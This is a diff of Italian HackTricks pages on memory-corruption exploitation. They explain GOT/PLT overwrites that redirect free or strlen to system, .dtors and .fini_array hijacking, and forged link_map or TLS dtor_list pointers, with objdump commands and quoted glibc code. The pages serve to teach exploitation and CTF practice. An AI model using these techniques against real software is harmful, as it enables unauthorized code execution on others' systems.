* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# WWW2Exec - GOT/PLT # WWW2Exec - GOT/PLT
{% hint style="success" %}
Impara e pratica l'Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## **Informazioni di Base** ## **Informazioni di Base**
@ -20,17 +21,17 @@ Altri modi per supportare HackTricks:
La **Tabella degli Offset Globali (GOT)** è un meccanismo utilizzato nei binari collegati dinamicamente per gestire gli **indirizzi delle funzioni esterne**. Poiché questi **indirizzi non sono noti fino all'esecuzione** (a causa del collegamento dinamico), la GOT fornisce un modo per **aggiornare dinamicamente gli indirizzi di questi simboli esterni** una volta che sono risolti. La **Tabella degli Offset Globali (GOT)** è un meccanismo utilizzato nei binari collegati dinamicamente per gestire gli **indirizzi delle funzioni esterne**. Poiché questi **indirizzi non sono noti fino all'esecuzione** (a causa del collegamento dinamico), la GOT fornisce un modo per **aggiornare dinamicamente gli indirizzi di questi simboli esterni** una volta che sono risolti.
Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binario potrebbe chiamare. Quando una **funzione viene chiamata per la prima volta, il suo indirizzo effettivo viene risolto dal collegamento dinamico e memorizzato nella GOT**. Chiamate successive alla stessa funzione utilizzano l'indirizzo memorizzato nella GOT, evitando così il sovraccarico di risolvere nuovamente l'indirizzo. Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binario potrebbe chiamare. Quando una **funzione viene chiamata per la prima volta, il suo indirizzo effettivo viene risolto dal collegatore dinamico e memorizzato nella GOT**. Chiamate successive alla stessa funzione utilizzano l'indirizzo memorizzato nella GOT, evitando così il costo di risolvere nuovamente l'indirizzo.
### **PLT: Procedure Linkage Table** ### **PLT: Procedure Linkage Table**
La **Tabella di Collegamento delle Procedure (PLT)** lavora strettamente con la GOT e funge da trampolino per gestire le chiamate alle funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile di invocare il collegamento dinamico per risolvere l'indirizzo della funzione se non è stato ancora risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**. La **Tabella di Collegamento delle Procedure (PLT)** lavora strettamente con la GOT e funge da trampolino per gestire le chiamate alle funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile di invocare il collegatore dinamico per risolvere l'indirizzo della funzione se non è stato ancora risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**.
**Pertanto,** le voci della GOT sono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è risolto. Le voci della PLT sono utilizzate per facilitare la risoluzione iniziale di questi indirizzi tramite il collegamento dinamico. **Pertanto,** le voci della GOT sono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è risolto. **Le voci della PLT sono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il collegatore dinamico.
## Esecuzione ## Esecuzione
### Controlla la GOT ### Controllare la GOT
Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`** Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`**
@ -46,31 +47,31 @@ Utilizzando GEF puoi **avviare** una **sessione di debug** ed eseguire **`got`**
### GOT2Exec ### GOT2Exec
In un binario la GOT ha gli **indirizzi delle funzioni o** della sezione **PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce della GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** del PLT della funzione **`system`** ad esempio. In un binario la GOT ha gli **indirizzi delle funzioni o** della sezione **PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce della GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** del PLT della funzione **`system`** per esempio.
Idealmente, **sovrascriverai** la **GOT** di una **funzione** che **verrà chiamata con parametri controllati da te** (così potrai controllare i parametri inviati alla funzione di sistema). Idealmente, si **sovrascriverà** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (così potrai controllare i parametri inviati alla funzione di sistema).
Se **`system`** **non viene utilizzata** dal binario, la funzione di sistema **non** avrà una voce nella PLT. In questo scenario, dovrai **prima ottenere in modo non autorizzato l'indirizzo** della funzione `system` e quindi sovrascrivere la GOT per puntare a questo indirizzo. Se **`system`** **non viene utilizzata** dal binario, la funzione di sistema **non** avrà una voce nella PLT. In questo scenario, sarà **necessario prima ottenere l'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`** Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
## Voci GOT di libc ## Voci GOT di libc
La **GOT di libc** di solito è compilata con **partial RELRO**, rendendola un bel bersaglio per questo supponendo che sia possibile individuarne l'indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). La **GOT di libc** di solito è compilata con **partial RELRO**, rendendola un bel bersaglio per questo supponendo che sia possibile scoprire il suo indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Le funzioni comuni della libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice. Le funzioni comuni della libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice.
Trova [**ulteriori informazioni su questa tecnica qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). Trova [**ulteriori informazioni su questa tecnica qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **Free2system** ### **Free2system**
Nei CTF di sfruttamento dell'heap è comune poter controllare il contenuto dei chunk e a un certo punto sovrascrivere la tabella GOT. Un semplice trucco per ottenere RCE se non sono disponibili gadget è sovrascrivere l'indirizzo GOT di `free` per puntare a `system` e scrivere all'interno di un chunk `"/bin/sh"`. In questo modo quando questo chunk viene liberato, eseguirà `system("/bin/sh")`. Nei CTF di sfruttamento della heap è comune poter controllare il contenuto dei chunk e a un certo punto sovrascrivere la tabella GOT. Un semplice trucco per ottenere RCE se non sono disponibili gadget è sovrascrivere l'indirizzo GOT di `free` per puntare a `system` e scrivere all'interno di un chunk `"/bin/sh"`. In questo modo quando questo chunk viene liberato, eseguirà `system("/bin/sh")`.
## **Strlen2system** ### **Strlen2system**
Un'altra tecnica comune è sovrascrivere l'indirizzo **`strlen`** GOT per puntare a **`system`**, quindi se questa funzione viene chiamata con input utente è possibile passare la stringa `"/bin/sh"` e ottenere una shell. Un'altra tecnica comune è sovrascrivere l'indirizzo **`strlen`** GOT per puntare a **`system`**, quindi se questa funzione viene chiamata con input utente è possibile passare la stringa `"/bin/sh"` e ottenere una shell.
Inoltre, se `puts` viene utilizzato con input utente, è possibile sovrascrivere l'indirizzo GOT di `puts` per puntare a `system` e passare la stringa `"/bin/sh"` per ottenere una shell perché **`puts` chiamerà `strlen` con l'input utente**. Inoltre, se `puts` viene utilizzato con input utente, è possibile sovrascrivere l'indirizzo GOT di `strlen` per puntare a `system` e passare la stringa `"/bin/sh"` per ottenere una shell perché **`puts` chiamerà `strlen` con l'input utente**.
## **One Gadget** ## **One Gadget**
@ -78,15 +79,15 @@ Inoltre, se `puts` viene utilizzato con input utente, è possibile sovrascrivere
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md) [one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
{% endcontent-ref %} {% endcontent-ref %}
## **Abuso della GOT dall'Heap** ## **Abuso della GOT dalla Heap**
Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, quindi ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\ Un modo comune per ottenere RCE da una vulnerabilità della heap è sfruttare un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, quindi ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\
Quindi, puntando `free` a `system` e liberando un chunk dove è stato scritto `/bin/sh\x00` eseguirà una shell. Quindi, puntando `free` a `system` e liberando un chunk dove è stata scritta `/bin/sh\x00` eseguirà una shell.
È possibile trovare un [**esempio qui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.** È possibile trovare un [**esempio qui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
## **Protezioni** ## **Protezioni**
La protezione **Full RELRO** è pensata per proteggere da questo tipo di tecnica risolvendo tutti gli indirizzi delle funzioni quando il binario viene avviato e rendendo la **tabella GOT di sola lettura** dopo di ciò: La protezione **Full RELRO** è progettata per proteggere da questo tipo di tecnica risolvendo tutti gli indirizzi delle funzioni quando il binario viene avviato e rendendo la **tabella GOT di sola lettura** dopo di esso:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md) [relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -97,16 +98,17 @@ La protezione **Full RELRO** è pensata per proteggere da questo tipo di tecnica
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# WWW2Exec - .dtors & .fini\_array # WWW2Exec - .dtors & .fini\_array
{% hint style="success" %}
Impara & pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara & pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## .dtors ## .dtors
@ -31,12 +32,12 @@ rabin -s /exec | grep “__DTOR”
Di solito troverai i marcatori **DTOR** **tra** i valori `ffffffff` e `00000000`. Quindi se vedi solo quei valori, significa che **non c'è alcuna funzione registrata**. Quindi **sovrascrivi** il **`00000000`** con l'**indirizzo** dello **shellcode** per eseguirlo. Di solito troverai i marcatori **DTOR** **tra** i valori `ffffffff` e `00000000`. Quindi se vedi solo quei valori, significa che **non c'è alcuna funzione registrata**. Quindi **sovrascrivi** il **`00000000`** con l'**indirizzo** dello **shellcode** per eseguirlo.
{% hint style="warning" %} {% hint style="warning" %}
Naturalmente, prima devi trovare un **posto dove memorizzare lo shellcode** per poterlo chiamare in seguito. Naturalmente, prima devi trovare un **posto dove memorizzare lo shellcode** per poterlo chiamare successivamente.
{% endhint %} {% endhint %}
## **.fini\_array** ## **.fini\_array**
Essenzialmente si tratta di una struttura con **funzioni che verranno chiamate** prima che il programma finisca, come **`.dtors`**. Questo è interessante se puoi chiamare il tuo **shellcode saltando a un indirizzo**, o nei casi in cui devi tornare di nuovo a `main` per **sfruttare la vulnerabilità una seconda volta**. Essenzialmente si tratta di una struttura con **funzioni che verranno chiamate** prima che il programma finisca, come **`.dtors`**. Questo è interessante se puoi chiamare il tuo **shellcode saltando a un indirizzo**, o nei casi in cui devi tornare di nuovo a **`main`** per **sfruttare la vulnerabilità una seconda volta**.
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
@ -49,32 +50,33 @@ Contents of section .fini_array:
``` ```
Nota che quando una funzione dall'**`.fini_array`** viene eseguita, passa alla successiva, quindi non verrà eseguita più volte (prevenendo loop eterni), ma ti darà solo 1 **esecuzione della funzione** posizionata qui. Nota che quando una funzione dall'**`.fini_array`** viene eseguita, passa alla successiva, quindi non verrà eseguita più volte (prevenendo loop eterni), ma ti darà solo 1 **esecuzione della funzione** posizionata qui.
Nota che le voci in `.fini_array` vengono chiamate in **ordine inverso**, quindi probabilmente vuoi iniziare a scrivere dall'ultima. Nota che le voci in `.fini_array` sono chiamate in **ordine inverso**, quindi probabilmente vuoi iniziare a scrivere dall'ultima.
#### Loop eterno #### Loop eterno
Per abusare di **`.fini_array`** per ottenere un loop eterno puoi [**controllare cosa è stato fatto qui**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Se hai almeno 2 voci in **`.fini_array`**, puoi: Per abusare di **`.fini_array`** per ottenere un loop eterno puoi [**controllare cosa è stato fatto qui**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Se hai almeno 2 voci in **`.fini_array`**, puoi:
* Utilizzare il tuo primo write per **chiamare di nuovo la funzione di scrittura arbitraria vulnerabile** * Utilizzare il tuo primo write per **chiamare di nuovo la funzione di scrittura arbitraria vulnerabile**
* Quindi, calcolare l'indirizzo di ritorno nello stack memorizzato da **`__libc_csu_fini`** (la funzione che sta chiamando tutte le funzioni di `.fini_array`) e mettere lì l'**indirizzo di `__libc_csu_fini`** * Quindi, calcolare l'indirizzo di ritorno nello stack memorizzato da **`__libc_csu_fini`** (la funzione che sta chiamando tutte le funzioni di `.fini_array`) e metterci lì l'**indirizzo di `__libc_csu_fini`**
* Questo farà sì che **`__libc_csu_fini`** si chiami di nuovo eseguendo nuovamente le funzioni di **`.fini_array`** che chiameranno la funzione WWW vulnerabile 2 volte: una per la **scrittura arbitraria** e un'altra per sovrascrivere di nuovo l'**indirizzo di ritorno di `__libc_csu_fini`** nello stack per chiamarsi di nuovo. * Questo farà sì che **`__libc_csu_fini`** si chiami di nuovo eseguendo di nuovo le funzioni di **`.fini_array`** che chiameranno la funzione WWW vulnerabile 2 volte: una per la **scrittura arbitraria** e un'altra per sovrascrivere di nuovo l'**indirizzo di ritorno di `__libc_csu_fini`** nello stack per chiamarsi di nuovo.
{% hint style="danger" %} {% hint style="danger" %}
Nota che con [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la sezione **`.fini_array`** è resa **sola lettura**. Nota che con [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la sezione **`.fini_array`** viene resa **sola lettura**.
Nelle versioni più recenti, anche con [**Partial RELRO**] la sezione **`.fini_array`** è resa **sola lettura** anche. Nelle versioni più recenti, anche con [**Partial RELRO**] la sezione **`.fini_array`** viene resa **sola lettura** anche.
{% endhint %} {% endhint %}
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# WWW2Exec - atexit(), TLS Storage & Altri puntatori manipolati # WWW2Exec - atexit(), TLS Storage & Altri puntatori manipolati
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## **Strutture \_\_atexit** ## **Strutture \_\_atexit**
@ -32,7 +33,7 @@ Puoi trovare una spiegazione dettagliata su come funziona questo in [https://m10
Come spiegato [**in questo post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Se il programma esce usando `return` o `exit()` eseguirà `__run_exit_handlers()` che chiamerà i distruttori registrati. Come spiegato [**in questo post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Se il programma esce usando `return` o `exit()` eseguirà `__run_exit_handlers()` che chiamerà i distruttori registrati.
{% hint style="danger" %} {% hint style="danger" %}
Se il programma esce tramite la funzione **`_exit()`**, chiamerà la **syscall di `exit`** e gli exit handlers non verranno eseguiti. Quindi, per confermare che `__run_exit_handlers()` viene eseguito, è possibile impostare un breakpoint su di esso. Se il programma esce tramite la funzione **`_exit()`**, chiamerà la **syscall di exit** e i gestori di uscita non verranno eseguiti. Quindi, per confermare che `__run_exit_handlers()` viene eseguito, è possibile impostare un breakpoint su di esso.
{% endhint %} {% endhint %}
Il codice importante è ([fonte](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): Il codice importante è ([fonte](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
@ -75,11 +76,11 @@ if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
} }
``` ```
In questo caso sarebbe possibile sovrascrivere il valore di `map->l_info[DT_FINI]` puntando a una struttura `ElfW(Dyn)` forgiata. Trova [**ulteriori informazioni qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). In questo caso sarebbe possibile sovrascrivere il valore di `map->l_info[DT_FINI]` puntando a una struttura `ElfW(Dyn)` forgiata. Trova [**ulteriori informazioni qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
## Sovrascrittura di TLS-Storage dtor_list in **`__run_exit_handlers`** ## Sovrascrittura di TLS-Storage dtor\_list in **`__run_exit_handlers`**
Come [**spiegato qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), se un programma esce tramite `return` o `exit()`, eseguirà **`__run_exit_handlers()`** che chiamerà qualsiasi funzione di distruttore registrata. Come [**spiegato qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), se un programma esce tramite `return` o `exit()`, eseguirà **`__run_exit_handlers()`** che chiamerà qualsiasi funzione di distruttore registrata.
Codice da `_run_exit_handlers()`: Codice da `_run_exit_handlers()`:
```c ```c
@ -227,7 +228,7 @@ free (cur);
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
``` ```
La variabile `f` punta alla struttura **`initial`** e a seconda del valore di `f->flavor` verranno chiamate funzioni diverse.\ La variabile `f` punta alla struttura **`initial`** e a seconda del valore di `f->flavor` verranno chiamate diverse funzioni.\
